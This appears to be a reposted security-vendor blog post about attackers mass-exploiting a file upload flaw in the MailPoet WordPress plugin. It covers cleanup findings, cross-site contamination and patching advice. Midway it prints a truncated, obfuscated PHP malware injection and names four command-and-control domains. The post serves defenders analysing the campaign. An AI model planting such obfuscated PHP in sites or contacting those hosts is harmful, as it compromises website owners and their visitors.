HackDig : Dig high-quality web security articles for hacker

WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability

2014-10-09 18:05

The popular Mailpoet(wysija-newsletters) WordPress plugin had a serious file upload vulnerability a few months back, allowing an attacker to upload files to the vulnerable site.

This issue was disclosed months ago, the MailPoet team patched it promptly. It seems though that many are still not getting the word, or blatantly not updating, because we are seeing another string of mass exploitation attempts against WordPress websites. Those that are not or have not updated are getting infected repeatedly via this vector, the issue is further compounded because the attackers are using it as a spring board into the reset of their account further compromising their entire account.

Please, we cannot stress the importance of updating, not just your active website, but any other websites you have in your stack, under the same account. Cross-site contamination is a very serious issue. If you can’t update for whatever reason employ the use of a Website Firewall at a minimum, stop the attackers before they get in.

The Payload

We are lucky at the volume of infected websites we get daily, allowing us to analyze and clean hundreds of websites. We have established processes that escalate cases if they trigger specific similarities, it’s part of our pattern recognition process. It’s at this point that our Research team gets involved to better understand the cause and introduce new solutions to 1) clean it faster and 2) see if there is something we can do to get ahead of it (it’s what leads to these posts).

This is exactly what has transpired in this case case. The pattern was this random payload:

<?php if(!isset($GLOBALS["x61156x75156x61"])) 
{ $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]);
 if ((! strstr($ua,"x6d163x69145")) and 
(! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?
php $fiukcmzguy = '%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c4}472%x5c%x7824<!%x5c%x7825
mm!>!#]y81]273]y76]258]y6g5w%x5c%x7860%x5c%x785c^>Ew:Qb:<**2-4-
bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825z>>2*!%x5c%x7825z>3<!fmn>qp%x5c%x7825!|Z~!

We will provide a more thorough breakdown of what it is doing in another post. At a high level though, it contacts a malware Command and Control (C&C) server (either one of these hosts: 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com) to determine what to do with the compromised website.

One of the things we look for are common denominators in cases like this, in this case every website had the following path available: wp-content/plugins/wysija-newsletters (yes, MailPoet). When cleaning, they all had:

./wp-content/plugins/wysija-newsletters/classes/WJ_Analytics.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Export.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Import.php. Details: php.malware.generic.029

Along with hundreds of other compromised PHP files.

This allowed us to drill further into the sites, specifically their logs, and find that all sites with this injection were running MailPoet. As we investigated the logs, we could see the attack pattern of the theme upload, followed by the exploitation.

Cross Site Contamination

Another pattern we are seeing is that cross site contamination is occurring after the compromise.

There were a few websites that did not have MailPoet installed, but further investigation revealed it was on the site in a neighboring website (which was out of date and not patched or protected).

If you have other websites onn your web server, or if you ever installed a demo or testing directory, please remove or update it, it can be misused to hack your site or any number of wide ranging acts.

In one case, the “forgotten” directory was /backups. He had a copy of WordPress inside /backups running the vulnerable plugin and it lead to his whole site getting hacked. Yes, Backups are important, but follow best practices when employing them.

Nuclear Exploit Kit

Another interesting point about this injection is that the malware displayed browser-side is very dynamic, but when active it is very similar to this one (a.k.a. – Nuclear Exploit Kit): Malicious Iframes Targeting WordPress


Source: -dekcah-teg-ot-eunitnoc-setisbew-sserpdrow/sPqc_x9cySB/3~/golb/irucus/r~/moc.elgoog.yxorpdeef

“WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud